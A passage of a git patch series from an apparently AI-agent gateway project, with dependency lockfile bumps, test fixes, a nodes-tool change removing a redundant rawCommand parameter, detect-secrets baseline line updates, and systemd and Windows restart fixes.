'@rolldown/binding-win32-arm64-msvc': 1.0.0-rc.7 + '@rolldown/binding-win32-x64-msvc': 1.0.0-rc.7 rollup@4.59.0: dependencies: @@ -12541,7 +13388,7 @@ snapshots: skillflag@0.1.4: dependencies: - '@clack/prompts': 1.0.1 + '@clack/prompts': 1.1.0 tar-stream: 3.1.7 transitivePeerDependencies: - bare-abort-controller @@ -12809,24 +13656,24 @@ snapshots: ts-algebra@2.0.0: {} - tsdown@0.21.0-beta.2(@typescript/native-preview@7.0.0-dev.20260301.1)(typescript@5.9.3): + tsdown@0.21.0(@typescript/native-preview@7.0.0-dev.20260307.1)(typescript@5.9.3): dependencies: ansis: 4.2.0 - cac: 6.7.14 + cac: 7.0.0 defu: 6.1.4 empathic: 2.0.0 hookable: 6.0.1 import-without-cache: 0.2.5 obug: 2.1.1 picomatch: 4.0.3 - rolldown: 1.0.0-rc.5 - rolldown-plugin-dts: 0.22.2(@typescript/native-preview@7.0.0-dev.20260301.1)(rolldown@1.0.0-rc.5)(typescript@5.9.3) + rolldown: 1.0.0-rc.7 + rolldown-plugin-dts: 0.22.4(@typescript/native-preview@7.0.0-dev.20260307.1)(rolldown@1.0.0-rc.7)(typescript@5.9.3) semver: 7.7.4 tinyexec: 1.0.2 tinyglobby: 0.2.15 tree-kill: 1.2.2 unconfig-core: 7.5.0 - unrun: 0.2.28 + unrun: 0.2.30 optionalDependencies: typescript: 5.9.3 transitivePeerDependencies: @@ -12924,9 +13771,9 @@ snapshots: unpipe@1.0.0: {} - unrun@0.2.28: + unrun@0.2.30: dependencies: - rolldown: 1.0.0-rc.5 + rolldown: 1.0.0-rc.7 url-join@4.0.1: {} @@ -12965,7 +13812,7 @@ snapshots: '@types/unist': 3.0.3 vfile-message: 4.0.3 - vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2): + vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2): dependencies: esbuild: 0.27.3 fdir: 6.5.0(picomatch@4.0.3) @@ -12974,17 +13821,17 @@ snapshots: rollup: 4.59.0 tinyglobby: 0.2.15 optionalDependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 fsevents: 2.3.3 jiti: 2.6.1 lightningcss: 1.30.2 tsx: 4.21.0 yaml: 2.8.2 - vitest@4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.3)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2): + vitest@4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.5)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2): dependencies: '@vitest/expect': 4.0.18 - '@vitest/mocker': 4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2)) + '@vitest/mocker': 4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2)) '@vitest/pretty-format': 4.0.18 '@vitest/runner': 4.0.18 '@vitest/snapshot': 4.0.18 @@ -13001,12 +13848,12 @@ snapshots: tinyexec: 1.0.2 tinyglobby: 0.2.15 tinyrainbow: 3.0.3 - vite: 7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + vite: 7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) why-is-node-running: 2.3.0 optionalDependencies: '@opentelemetry/api': 1.9.0 - '@types/node': 25.3.3 - '@vitest/browser-playwright': 4.0.18(playwright@1.58.2)(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) + '@types/node': 25.3.5 + '@vitest/browser-playwright': 4.0.18(playwright@1.58.2)(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) transitivePeerDependencies: - jiti - less diff --git a/src/cli/daemon-cli/install.integration.test.ts b/src/cli/daemon-cli/install.integration.test.ts index 00d60254605..bd1a00d605d 100644 --- a/src/cli/daemon-cli/install.integration.test.ts +++ b/src/cli/daemon-cli/install.integration.test.ts @@ -72,10 +72,11 @@ describe("runDaemonInstall integration", () => { runtimeLogs.length = 0; runtimeErrors.length = 0; vi.clearAllMocks(); - delete process.env.OPENCLAW_GATEWAY_TOKEN; - delete process.env.CLAWDBOT_GATEWAY_TOKEN; - delete process.env.OPENCLAW_GATEWAY_PASSWORD; - delete process.env.CLAWDBOT_GATEWAY_PASSWORD; + // Keep these defined-but-empty so dotenv won't repopulate from local .env. + process.env.OPENCLAW_GATEWAY_TOKEN = ""; + process.env.CLAWDBOT_GATEWAY_TOKEN = ""; + process.env.OPENCLAW_GATEWAY_PASSWORD = ""; + process.env.CLAWDBOT_GATEWAY_PASSWORD = ""; serviceMock.isLoaded.mockResolvedValue(false); await fs.writeFile(configPath, JSON.stringify({}, null, 2)); clearConfigCache(); diff --git a/src/memory/qmd-manager.test.ts b/src/memory/qmd-manager.test.ts index 07dd944f889..cbfee6db11c 100644 --- a/src/memory/qmd-manager.test.ts +++ b/src/memory/qmd-manager.test.ts @@ -1626,7 +1626,12 @@ describe("QmdMemoryManager", () => { it("retries mcporter search with bare command on Windows EINVAL cmd-shim failures", async () => { const platformSpy = vi.spyOn(process, "platform", "get").mockReturnValue("win32"); + const previousPath = process.env.PATH; try { + const shimDir = await fs.mkdtemp(path.join(tmpRoot, "mcporter-shim-")); + await fs.writeFile(path.join(shimDir, "mcporter.cmd"), "@echo off\n"); + process.env.PATH = `${shimDir};${previousPath ?? ""}`; + cfg = { ...cfg, memory: { @@ -1682,6 +1687,7 @@ describe("QmdMemoryManager", () => { await manager.close(); } finally { platformSpy.mockRestore(); + process.env.PATH = previousPath; } }); diff --git a/ui/package.json b/ui/package.json index d7e38d939f4..b1f548f2869 100644 --- a/ui/package.json +++ b/ui/package.json @@ -14,7 +14,7 @@ "@noble/ed25519": "3.0.0", "dompurify": "^3.3.2", "lit": "^3.3.2", - "marked": "^17.0.3", + "marked": "^17.0.4", "signal-polyfill": "^0.2.2", "signal-utils": "^0.21.1", "vite": "7.3.1" From 3efafab21bd5d14bac5f82bbfd5a91b7a9af921c Mon Sep 17 00:00:00 2001 From: Felipe Date: Sat, 7 Mar 2026 08:20:37 +0100 Subject: [PATCH 111/844] fix(nodes): remove redundant rawCommand from system.run.prepare The nodes tool was passing rawCommand: formatExecCommand(command) to system.run.prepare, which produced the full formatted argv string (e.g. 'powershell -Command "echo hello"'). However, validateSystemRunCommandConsistency() recognizes shell wrappers like powershell/bash and extracts the inner command as the 'inferred' value (e.g. 'echo hello'). This caused a rawCommand vs inferred mismatch, breaking all nodes run commands with shell wrappers. The fix removes the explicit rawCommand parameter, letting the validation correctly infer the command text from the argv array. Fixes #33080 --- src/agents/tools/nodes-tool.ts | 2 -- 1 file changed, 2 deletions(-) diff --git a/src/agents/tools/nodes-tool.ts b/src/agents/tools/nodes-tool.ts index b90d429119b..9c335c012b4 100644 --- a/src/agents/tools/nodes-tool.ts +++ b/src/agents/tools/nodes-tool.ts @@ -18,7 +18,6 @@ import { import { parseDurationMs } from "../../cli/parse-duration.js"; import type { OpenClawConfig } from "../../config/config.js"; import { parsePreparedSystemRunPayload } from "../../infra/system-run-approval-context.js"; -import { formatExecCommand } from "../../infra/system-run-command.js"; import { imageMimeFromFormat } from "../../media/mime.js"; import type { GatewayMessageChannel } from "../../utils/message-channel.js"; import { resolveSessionAgentId } from "../agent-scope.js"; @@ -651,7 +650,6 @@ export function createNodesTool(options?: { command: "system.run.prepare", params: { command, - rawCommand: formatExecCommand(command), cwd, agentId, sessionKey, From 9d99370027523a5c86475719a0b56c05ea3227fb Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 16:36:10 +0530 Subject: [PATCH 112/844] test(nodes): cover wrapped system.run prepare --- src/agents/tools/nodes-tool.test.ts | 46 +++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) diff --git a/src/agents/tools/nodes-tool.test.ts b/src/agents/tools/nodes-tool.test.ts index 12ac63e4403..ae1fb640c7f 100644 --- a/src/agents/tools/nodes-tool.test.ts +++ b/src/agents/tools/nodes-tool.test.ts @@ -85,4 +85,50 @@ describe("createNodesTool screen_record duration guardrails", () => { }), ); }); + + it("omits rawCommand when preparing wrapped argv execution", async () => { + nodeUtilsMocks.listNodes.mockResolvedValue([ + { + nodeId: "node-1", + commands: ["system.run"], + }, + ]); + gatewayMocks.callGatewayTool.mockImplementation(async (_method, _opts, payload) => { + if (payload?.command === "system.run.prepare") { + return { + payload: { + cmdText: "echo hi", + plan: { + argv: ["bash", "-lc", "echo hi"], + cwd: null, + rawCommand: null, + agentId: null, + sessionKey: null, + }, + }, + }; + } + if (payload?.command === "system.run") { + return { payload: { ok: true } }; + } + throw new Error(`unexpected command: ${String(payload?.command)}`); + }); + const tool = createNodesTool(); + + await tool.execute("call-1", { + action: "run", + node: "macbook", + command: ["bash", "-lc", "echo hi"], + }); + + const prepareCall = gatewayMocks.callGatewayTool.mock.calls.find( + (call) => call[2]?.command === "system.run.prepare", + )?.[2]; + expect(prepareCall).toBeTruthy(); + expect(prepareCall?.params).toMatchObject({ + command: ["bash", "-lc", "echo hi"], + agentId: "main", + }); + expect(prepareCall?.params).not.toHaveProperty("rawCommand"); + }); }); From ac63f30cd2d3b175486062e4535018cd59b34fc4 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 16:38:36 +0530 Subject: [PATCH 113/844] test(nodes): type wrapped prepare coverage mock --- src/agents/tools/nodes-tool.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/agents/tools/nodes-tool.test.ts b/src/agents/tools/nodes-tool.test.ts index ae1fb640c7f..99780a16238 100644 --- a/src/agents/tools/nodes-tool.test.ts +++ b/src/agents/tools/nodes-tool.test.ts @@ -7,7 +7,7 @@ const gatewayMocks = vi.hoisted(() => ({ const nodeUtilsMocks = vi.hoisted(() => ({ resolveNodeId: vi.fn(async () => "node-1"), - listNodes: vi.fn(async () => []), + listNodes: vi.fn(async () => [] as Array<{ nodeId: string; commands?: string[] }>), resolveNodeIdFromList: vi.fn(() => "node-1"), })); From addd290f88f75f2374d5eeda01eec935da790814 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Sat, 7 Mar 2026 11:13:55 +0000 Subject: [PATCH 114/844] fix(ci): stabilize tests and detect-secrets after dep updates --- .secrets.baseline | 42 +++++++++---------- extensions/feishu/src/monitor.startup.test.ts | 28 ++++++++++--- extensions/feishu/src/monitor.test-mocks.ts | 22 +++++++++- extensions/zalo/src/monitor.webhook.test.ts | 6 +-- .../src/monitor.account-scope.test.ts | 1 + .../zalouser/src/monitor.group-gating.test.ts | 1 + src/cli/memory-cli.test.ts | 2 +- 7 files changed, 69 insertions(+), 33 deletions(-) diff --git a/.secrets.baseline b/.secrets.baseline index 66b3ddec231..8066ff84714 100644 --- a/.secrets.baseline +++ b/.secrets.baseline @@ -10956,7 +10956,7 @@ "filename": "extensions/bluebubbles/src/monitor.webhook-auth.test.ts", "hashed_secret": "1ae0af3fe72b3ba394f9fa95a6cffc090d726c23", "is_verified": false, - "line_number": 514 + "line_number": 490 } ], "extensions/bluebubbles/src/reactions.test.ts": [ @@ -11277,7 +11277,7 @@ "filename": "extensions/feishu/src/monitor.webhook-security.test.ts", "hashed_secret": "cf27add3cb4cb83efe9a48cf7289068fa869c4cd", "is_verified": false, - "line_number": 91 + "line_number": 76 } ], "extensions/feishu/src/onboarding.test.ts": [ @@ -11580,7 +11580,7 @@ "filename": "extensions/nextcloud-talk/src/channel.ts", "hashed_secret": "71f8e7976e4cbc4561c9d62fb283e7f788202acb", "is_verified": false, - "line_number": 408 + "line_number": 399 } ], "extensions/nextcloud-talk/src/send.test.ts": [ @@ -11802,7 +11802,7 @@ "filename": "extensions/telegram/src/channel.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 136 + "line_number": 132 } ], "extensions/twitch/src/onboarding.test.ts": [ @@ -11827,7 +11827,7 @@ "filename": "extensions/twitch/src/status.test.ts", "hashed_secret": "f2b14f68eb995facb3a1c35287b778d5bd785511", "is_verified": false, - "line_number": 122 + "line_number": 92 } ], "extensions/voice-call/README.md": [ @@ -11845,7 +11845,7 @@ "filename": "extensions/voice-call/src/config.test.ts", "hashed_secret": "62207a469ec2fdcfc7d66b04c2980ac1501acbf0", "is_verified": false, - "line_number": 79 + "line_number": 39 } ], "extensions/voice-call/src/providers/telnyx.test.ts": [ @@ -11936,7 +11936,7 @@ "filename": "src/acp/server.startup.test.ts", "hashed_secret": "60fe331dc434ac211c53f33da22a384aa0e3fec5", "is_verified": false, - "line_number": 178 + "line_number": 183 } ], "src/agents/auth-profiles/oauth.openai-codex-refresh-fallback.test.ts": [ @@ -11968,7 +11968,7 @@ "filename": "src/agents/compaction.tool-result-details.test.ts", "hashed_secret": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3", "is_verified": false, - "line_number": 67 + "line_number": 57 } ], "src/agents/memory-search.test.ts": [ @@ -12766,21 +12766,21 @@ "filename": "src/cli/qr-cli.test.ts", "hashed_secret": "8fc5be300f480d027174b514b563e77548b636f2", "is_verified": false, - "line_number": 207 + "line_number": 230 }, { "type": "Secret Keyword", "filename": "src/cli/qr-cli.test.ts", "hashed_secret": "f1355ae408e2068355dad8f3a503c2eaedefc0c6", "is_verified": false, - "line_number": 235 + "line_number": 248 }, { "type": "Secret Keyword", "filename": "src/cli/qr-cli.test.ts", "hashed_secret": "4316c1b21634c0e3f4d53bfb3ca2f48dde69bc4e", "is_verified": false, - "line_number": 290 + "line_number": 285 } ], "src/cli/update-cli.test.ts": [ @@ -13815,49 +13815,49 @@ "filename": "src/gateway/credentials.test.ts", "hashed_secret": "6255675480f681df08c1704b7b3cd2c49917f0e2", "is_verified": false, - "line_number": 60 + "line_number": 81 }, { "type": "Secret Keyword", "filename": "src/gateway/credentials.test.ts", "hashed_secret": "de1c41e8ece73f5d5c259bb37eccb59a542b91dc", "is_verified": false, - "line_number": 240 + "line_number": 227 }, { "type": "Secret Keyword", "filename": "src/gateway/credentials.test.ts", "hashed_secret": "e951da0670d747fb42c25e584913ced2a22df456", "is_verified": false, - "line_number": 271 + "line_number": 258 }, { "type": "Secret Keyword", "filename": "src/gateway/credentials.test.ts", "hashed_secret": "c4268595e9bc82fd8385d7f5c31cff96d677e31d", "is_verified": false, - "line_number": 282 + "line_number": 269 }, { "type": "Secret Keyword", "filename": "src/gateway/credentials.test.ts", "hashed_secret": "bc5f9ea9a906cf0641cf9e227b6b9ae3cdc9df59", "is_verified": false, - "line_number": 298 + "line_number": 285 }, { "type": "Secret Keyword", "filename": "src/gateway/credentials.test.ts", "hashed_secret": "d51f846285cbc6d1dd76677a0fd588c8df44e506", "is_verified": false, - "line_number": 468 + "line_number": 455 }, { "type": "Secret Keyword", "filename": "src/gateway/credentials.test.ts", "hashed_secret": "60acdb59369429ffd0729487ec638eb0f7f12976", "is_verified": false, - "line_number": 487 + "line_number": 474 } ], "src/gateway/gateway-cli-backend.live.test.ts": [ @@ -14463,14 +14463,14 @@ "filename": "src/secrets/path-utils.test.ts", "hashed_secret": "c00dbbc9dadfbe1e232e93a729dd4752fade0abf", "is_verified": false, - "line_number": 50 + "line_number": 54 }, { "type": "Secret Keyword", "filename": "src/secrets/path-utils.test.ts", "hashed_secret": "ff3390557335ba88d37755e41514beb03bc499ec", "is_verified": false, - "line_number": 68 + "line_number": 72 } ], "src/secrets/runtime.coverage.test.ts": [ @@ -14725,5 +14725,5 @@ } ] }, - "generated_at": "2026-03-07T10:32:59Z" + "generated_at": "2026-03-07T11:12:54Z" } diff --git a/extensions/feishu/src/monitor.startup.test.ts b/extensions/feishu/src/monitor.startup.test.ts index e62ff49148a..f5e19159f0a 100644 --- a/extensions/feishu/src/monitor.startup.test.ts +++ b/extensions/feishu/src/monitor.startup.test.ts @@ -1,19 +1,35 @@ import type { ClawdbotConfig } from "openclaw/plugin-sdk/feishu"; import { afterEach, describe, expect, it, vi } from "vitest"; import { monitorFeishuProvider, stopFeishuMonitor } from "./monitor.js"; -import { - createFeishuClientMockModule, - createFeishuRuntimeMockModule, -} from "./monitor.test-mocks.js"; const probeFeishuMock = vi.hoisted(() => vi.fn()); +const feishuClientMockModule = vi.hoisted(() => ({ + createFeishuWSClient: vi.fn(() => ({ start: vi.fn() })), + createEventDispatcher: vi.fn(() => ({ register: vi.fn() })), +})); +const feishuRuntimeMockModule = vi.hoisted(() => ({ + getFeishuRuntime: () => ({ + channel: { + debounce: { + resolveInboundDebounceMs: () => 0, + createInboundDebouncer: () => ({ + enqueue: async () => {}, + flushKey: async () => {}, + }), + }, + text: { + hasControlCommand: () => false, + }, + }, + }), +})); vi.mock("./probe.js", () => ({ probeFeishu: probeFeishuMock, })); -vi.mock("./client.js", () => createFeishuClientMockModule()); -vi.mock("./runtime.js", () => createFeishuRuntimeMockModule()); +vi.mock("./client.js", () => feishuClientMockModule); +vi.mock("./runtime.js", () => feishuRuntimeMockModule); function buildMultiAccountWebsocketConfig(accountIds: string[]): ClawdbotConfig { return { diff --git a/extensions/feishu/src/monitor.test-mocks.ts b/extensions/feishu/src/monitor.test-mocks.ts index 939afcf5ee7..276d6375464 100644 --- a/extensions/feishu/src/monitor.test-mocks.ts +++ b/extensions/feishu/src/monitor.test-mocks.ts @@ -1,13 +1,31 @@ import { vi } from "vitest"; -export function createFeishuClientMockModule() { +export function createFeishuClientMockModule(): { + createFeishuWSClient: () => { start: () => void }; + createEventDispatcher: () => { register: () => void }; +} { return { createFeishuWSClient: vi.fn(() => ({ start: vi.fn() })), createEventDispatcher: vi.fn(() => ({ register: vi.fn() })), }; } -export function createFeishuRuntimeMockModule() { +export function createFeishuRuntimeMockModule(): { + getFeishuRuntime: () => { + channel: { + debounce: { + resolveInboundDebounceMs: () => number; + createInboundDebouncer: () => { + enqueue: () => Promise; + flushKey: () => Promise; + }; + }; + text: { + hasControlCommand: () => boolean; + }; + }; + }; +} { return { getFeishuRuntime: () => ({ channel: { diff --git a/extensions/zalo/src/monitor.webhook.test.ts b/extensions/zalo/src/monitor.webhook.test.ts index 6ae1a954255..297d8249d3a 100644 --- a/extensions/zalo/src/monitor.webhook.test.ts +++ b/extensions/zalo/src/monitor.webhook.test.ts @@ -269,7 +269,7 @@ describe("handleZaloWebhookRequest", () => { const saw429 = await postUntilRateLimited({ baseUrl, path: "/hook-rate", - secret: "secret", + secret: "secret", // pragma: allowlist secret }); expect(saw429).toBe(true); @@ -287,7 +287,7 @@ describe("handleZaloWebhookRequest", () => { const response = await fetch(`${baseUrl}/hook-query-status?nonce=${i}`, { method: "POST", headers: { - "x-bot-api-secret-token": "invalid-token", + "x-bot-api-secret-token": "invalid-token", // pragma: allowlist secret "content-type": "application/json", }, body: "{}", @@ -310,7 +310,7 @@ describe("handleZaloWebhookRequest", () => { const saw429 = await postUntilRateLimited({ baseUrl, path: "/hook-query-rate", - secret: "secret", + secret: "secret", // pragma: allowlist secret withNonceQuery: true, }); diff --git a/extensions/zalouser/src/monitor.account-scope.test.ts b/extensions/zalouser/src/monitor.account-scope.test.ts index e1e1a348a95..919bd25887c 100644 --- a/extensions/zalouser/src/monitor.account-scope.test.ts +++ b/extensions/zalouser/src/monitor.account-scope.test.ts @@ -1,5 +1,6 @@ import type { OpenClawConfig, PluginRuntime, RuntimeEnv } from "openclaw/plugin-sdk/zalouser"; import { describe, expect, it, vi } from "vitest"; +import "./monitor.send-mocks.js"; import { __testing } from "./monitor.js"; import { sendMessageZalouserMock } from "./monitor.send-mocks.js"; import { setZalouserRuntime } from "./runtime.js"; diff --git a/extensions/zalouser/src/monitor.group-gating.test.ts b/extensions/zalouser/src/monitor.group-gating.test.ts index 6af8d5ae115..7e11680b315 100644 --- a/extensions/zalouser/src/monitor.group-gating.test.ts +++ b/extensions/zalouser/src/monitor.group-gating.test.ts @@ -1,5 +1,6 @@ import type { OpenClawConfig, PluginRuntime, RuntimeEnv } from "openclaw/plugin-sdk/zalouser"; import { beforeEach, describe, expect, it, vi } from "vitest"; +import "./monitor.send-mocks.js"; import { __testing } from "./monitor.js"; import { sendDeliveredZalouserMock, diff --git a/src/cli/memory-cli.test.ts b/src/cli/memory-cli.test.ts index c3aec925eb6..85e011aaf37 100644 --- a/src/cli/memory-cli.test.ts +++ b/src/cli/memory-cli.test.ts @@ -60,7 +60,7 @@ describe("memory cli", () => { return JSON.parse(String(log.mock.calls[0]?.[0] ?? "null")) as Record; } - const inactiveMemorySecretDiagnostic = "agents.defaults.memorySearch.remote.apiKey inactive"; + const inactiveMemorySecretDiagnostic = "agents.defaults.memorySearch.remote.apiKey inactive"; // pragma: allowlist secret function expectCliSync(sync: ReturnType) { expect(sync).toHaveBeenCalledWith( From 26c979673664cccff6cc1ab17110ec244c51b2e4 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 17:10:48 +0530 Subject: [PATCH 115/844] fix: check managed systemd unit before is-enabled (#38819) --- CHANGELOG.md | 1 + src/daemon/systemd.test.ts | 37 ++++++++++++++++++++++++++++++------- src/daemon/systemd.ts | 11 ++++++++++- 3 files changed, 41 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9305f490e67..2dc17c5dcfb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -228,6 +228,7 @@ Docs: https://docs.openclaw.ai - Agents/reply MEDIA delivery: normalize local assistant `MEDIA:` paths before block/final delivery, keep media dedupe aligned with message-tool sends, and contain malformed media normalization failures so generated files send reliably instead of falling back to empty responses. (#38572) Thanks @obviyus. - Sessions/bootstrap cache rollover invalidation: clear cached workspace bootstrap snapshots whenever an existing `sessionKey` rolls to a new `sessionId` across auto-reply, command, and isolated cron session resolvers, so `AGENTS.md`/`MEMORY.md`/`USER.md` updates are reloaded after daily, idle, or forced session resets instead of staying stale until gateway restart. (#38494) Thanks @LivingInDrm. - Gateway/Telegram polling health monitor: skip stale-socket restarts for Telegram long-polling channels and thread channel identity through shared health evaluation so polling connections are not restarted on the WebSocket stale-socket heuristic. (#38395) Thanks @ql-wade and @Takhoffman. +- Daemon/systemd fresh-install probe: check for OpenClaw's managed user unit before running `systemctl --user is-enabled`, so first-time Linux installs no longer fail on generic missing-unit probe errors. (#38819) Thanks @adaHubble. ## 2026.3.2 diff --git a/src/daemon/systemd.test.ts b/src/daemon/systemd.test.ts index 71bfef54d6d..9fc8283b84a 100644 --- a/src/daemon/systemd.test.ts +++ b/src/daemon/systemd.test.ts @@ -1,3 +1,4 @@ +import fs from "node:fs/promises"; import { beforeEach, describe, expect, it, vi } from "vitest"; const execFileMock = vi.hoisted(() => vi.fn()); @@ -66,44 +67,65 @@ describe("systemd availability", () => { }); describe("isSystemdServiceEnabled", () => { + const mockManagedUnitPresent = () => { + vi.spyOn(fs, "access").mockResolvedValue(undefined); + }; + beforeEach(() => { + vi.restoreAllMocks(); execFileMock.mockReset(); }); it("returns false when systemctl is not present", async () => { const { isSystemdServiceEnabled } = await import("./systemd.js"); + mockManagedUnitPresent(); execFileMock.mockImplementation((_cmd, _args, _opts, cb) => { const err = new Error("spawn systemctl EACCES") as Error & { code?: string }; err.code = "EACCES"; cb(err, "", ""); }); - const result = await isSystemdServiceEnabled({ env: {} }); + const result = await isSystemdServiceEnabled({ env: { HOME: "/tmp/openclaw-test-home" } }); expect(result).toBe(false); }); + it("returns false without calling systemctl when the managed unit file is missing", async () => { + const { isSystemdServiceEnabled } = await import("./systemd.js"); + const err = new Error("missing unit") as NodeJS.ErrnoException; + err.code = "ENOENT"; + vi.spyOn(fs, "access").mockRejectedValueOnce(err); + + const result = await isSystemdServiceEnabled({ env: { HOME: "/tmp/openclaw-test-home" } }); + + expect(result).toBe(false); + expect(execFileMock).not.toHaveBeenCalled(); + }); + it("calls systemctl is-enabled when systemctl is present", async () => { const { isSystemdServiceEnabled } = await import("./systemd.js"); + mockManagedUnitPresent(); execFileMock.mockImplementationOnce((_cmd, args, _opts, cb) => { expect(args).toEqual(["--user", "is-enabled", "openclaw-gateway.service"]); cb(null, "enabled", ""); }); - const result = await isSystemdServiceEnabled({ env: {} }); + const result = await isSystemdServiceEnabled({ env: { HOME: "/tmp/openclaw-test-home" } }); expect(result).toBe(true); }); it("returns false when systemctl reports disabled", async () => { const { isSystemdServiceEnabled } = await import("./systemd.js"); + mockManagedUnitPresent(); execFileMock.mockImplementationOnce((_cmd, _args, _opts, cb) => { const err = new Error("disabled") as Error & { code?: number }; err.code = 1; cb(err, "disabled", ""); }); - const result = await isSystemdServiceEnabled({ env: {} }); + const result = await isSystemdServiceEnabled({ env: { HOME: "/tmp/openclaw-test-home" } }); expect(result).toBe(false); }); it("throws when systemctl is-enabled fails for non-state errors", async () => { const { isSystemdServiceEnabled } = await import("./systemd.js"); + mockManagedUnitPresent(); execFileMock .mockImplementationOnce((_cmd, args, _opts, cb) => { expect(args).toEqual(["--user", "is-enabled", "openclaw-gateway.service"]); @@ -119,13 +141,14 @@ describe("isSystemdServiceEnabled", () => { err.code = 1; cb(err, "", "permission denied"); }); - await expect(isSystemdServiceEnabled({ env: {} })).rejects.toThrow( - "systemctl is-enabled unavailable: permission denied", - ); + await expect( + isSystemdServiceEnabled({ env: { HOME: "/tmp/openclaw-test-home" } }), + ).rejects.toThrow("systemctl is-enabled unavailable: permission denied"); }); it("returns false when systemctl is-enabled exits with code 4 (not-found)", async () => { const { isSystemdServiceEnabled } = await import("./systemd.js"); + mockManagedUnitPresent(); execFileMock.mockImplementationOnce((_cmd, _args, _opts, cb) => { // On Ubuntu 24.04, `systemctl --user is-enabled ` exits with // code 4 and prints "not-found" to stdout when the unit doesn't exist. @@ -135,7 +158,7 @@ describe("isSystemdServiceEnabled", () => { err.code = 4; cb(err, "not-found\n", ""); }); - const result = await isSystemdServiceEnabled({ env: {} }); + const result = await isSystemdServiceEnabled({ env: { HOME: "/tmp/openclaw-test-home" } }); expect(result).toBe(false); }); }); diff --git a/src/daemon/systemd.ts b/src/daemon/systemd.ts index 08353048c59..9d8849a2ba5 100644 --- a/src/daemon/systemd.ts +++ b/src/daemon/systemd.ts @@ -423,7 +423,16 @@ export async function restartSystemdService({ export async function isSystemdServiceEnabled(args: GatewayServiceEnvArgs): Promise { const env = args.env ?? process.env; - const serviceName = resolveSystemdServiceName(args.env ?? {}); + try { + await fs.access(resolveSystemdUnitPath(env)); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "ENOENT") { + return false; + } + throw error; + } + + const serviceName = resolveSystemdServiceName(env); const unitName = `${serviceName}.service`; const res = await execSystemctlUser(env, ["is-enabled", unitName]); if (res.code === 0) { From 05c240fad6fea1caed99ddf8b2d093eff4ee1f31 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 18:00:38 +0530 Subject: [PATCH 116/844] fix: restart Windows gateway via Scheduled Task (#38825) (#38825) --- CHANGELOG.md | 1 + src/cli/gateway-cli/run-loop.ts | 4 +- src/cli/update-cli/restart-helper.test.ts | 16 ++- src/cli/update-cli/restart-helper.ts | 3 +- src/daemon/service-env.test.ts | 2 + src/daemon/service-env.ts | 2 + src/infra/process-respawn.test.ts | 55 ++++++++- src/infra/process-respawn.ts | 25 ++-- src/infra/restart.ts | 66 ++++++----- src/infra/supervisor-markers.ts | 46 ++++++-- src/infra/windows-task-restart.test.ts | 133 ++++++++++++++++++++++ src/infra/windows-task-restart.ts | 72 ++++++++++++ 12 files changed, 371 insertions(+), 54 deletions(-) create mode 100644 src/infra/windows-task-restart.test.ts create mode 100644 src/infra/windows-task-restart.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 2dc17c5dcfb..16a29952160 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -229,6 +229,7 @@ Docs: https://docs.openclaw.ai - Sessions/bootstrap cache rollover invalidation: clear cached workspace bootstrap snapshots whenever an existing `sessionKey` rolls to a new `sessionId` across auto-reply, command, and isolated cron session resolvers, so `AGENTS.md`/`MEMORY.md`/`USER.md` updates are reloaded after daily, idle, or forced session resets instead of staying stale until gateway restart. (#38494) Thanks @LivingInDrm. - Gateway/Telegram polling health monitor: skip stale-socket restarts for Telegram long-polling channels and thread channel identity through shared health evaluation so polling connections are not restarted on the WebSocket stale-socket heuristic. (#38395) Thanks @ql-wade and @Takhoffman. - Daemon/systemd fresh-install probe: check for OpenClaw's managed user unit before running `systemctl --user is-enabled`, so first-time Linux installs no longer fail on generic missing-unit probe errors. (#38819) Thanks @adaHubble. +- Gateway/Windows restart supervision: relaunch task-managed gateways through Scheduled Task with quoted helper-script command paths, distinguish restart-capable supervisors per platform, and stop orphaned Windows gateway children during self-restart. (#38825) Thanks @obviyus. ## 2026.3.2 diff --git a/src/cli/gateway-cli/run-loop.ts b/src/cli/gateway-cli/run-loop.ts index 361817c8cb1..c6b7d5ea21e 100644 --- a/src/cli/gateway-cli/run-loop.ts +++ b/src/cli/gateway-cli/run-loop.ts @@ -75,7 +75,9 @@ export async function runGatewayLoop(params: { `full process restart failed (${respawn.detail ?? "unknown error"}); falling back to in-process restart`, ); } else { - gatewayLog.info("restart mode: in-process restart 